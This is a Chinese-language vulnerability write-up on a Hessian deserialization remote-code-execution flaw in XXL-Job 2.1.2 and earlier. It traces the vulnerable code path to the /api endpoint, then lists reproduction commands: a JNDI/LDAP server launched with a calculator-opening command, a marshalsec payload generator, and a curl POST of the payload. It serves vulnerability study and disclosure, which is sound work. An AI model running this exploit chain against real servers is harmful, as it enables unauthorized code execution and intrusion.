01 影响范围
-
Xxl-Job<=2.1.2,需要利用Hessian触发。
02 环境搭建
下载地址:https://github.com/xuxueli/xxl-job/releases
修改配置文件
xxl-job-2.0.1/xxl-job-admin/src/main/resources/application.properties
修改数据库信息,以及端口与项目入口目录,默认目录为/xxl-job-admin
修改执行器中的配置文件,改为与admin中相对应的地址端口等
/xxl-job-2.0.1/xxl-job-executor-samples/xxl-job-executor-sample-springboot/src/main/resources/application.properties
新建log文件,并将绝对路径写入到logback.xml中
然后启动项目:
两个项目都得启动
然后访问:http://localhost:8086/xxl-job-admin
03 漏洞分析
搜索反序列化的关键字:deserialize,搜索的范围包含项目文件和项目依赖的库
找到位置,com/xxl/rpc/remoting/net/impl/jetty/server/JettyServerHandler.java#parseRequest中,将请求直接传入了deserialize反序列化方法中
com/xxl/rpc/remoting/net/impl/jetty/server/JettyServerHandler.java#handle中传入了request,并且将request传入刚才会反序列化的方法中
com/xxl/job/admin/core/schedule/XxlJobDynamicScheduler.java#invokeAdminService调用了handle方法,并且也是直接将request进行传入
com/xxl/job/admin/controller/JobApiController.java#api为入口点,调用了刚才的方法,并且为controller可以直接访问,对应的路由为:/api
然后运行环境调试,发现可行,能够将request的数据进入反序列化的函数中,对应的请求为如下所示,调试发现必须为post请求,并且有请求体
调试发现是Hessian的反序列化
通过阅读官网http://hessian.caucho.com/
Hessian 二进制 Web 服务协议使得 Web 服务可用,而不需要大型框架,也不需要学习另一堆协议。因为它是一个二进制协议,所以非常适合于发送二进制数据,而不需要通过附件扩展协议。
然后可以直接使Hessian的Spring链进行漏洞复现即可。
04 漏洞复现
本地搭建好环境:
启动JNDI服务
java8 -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 172.20.10.2 -C "open -na Calculator"
生成payload
java8 -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian SpringAbstractBeanFactoryPointcutAdvisor ldap://172.20.10.2:1389/dzkfwd > test.ser
发送反序列化数据
curl -XPOST -H "Content-Type: x-application/hessian" --data-binary @test.ser http://localhost:8086/xxl-job-admin/api
参考文档:
-
https://xz.aliyun.com/t/8456
-
http://hessian.caucho.com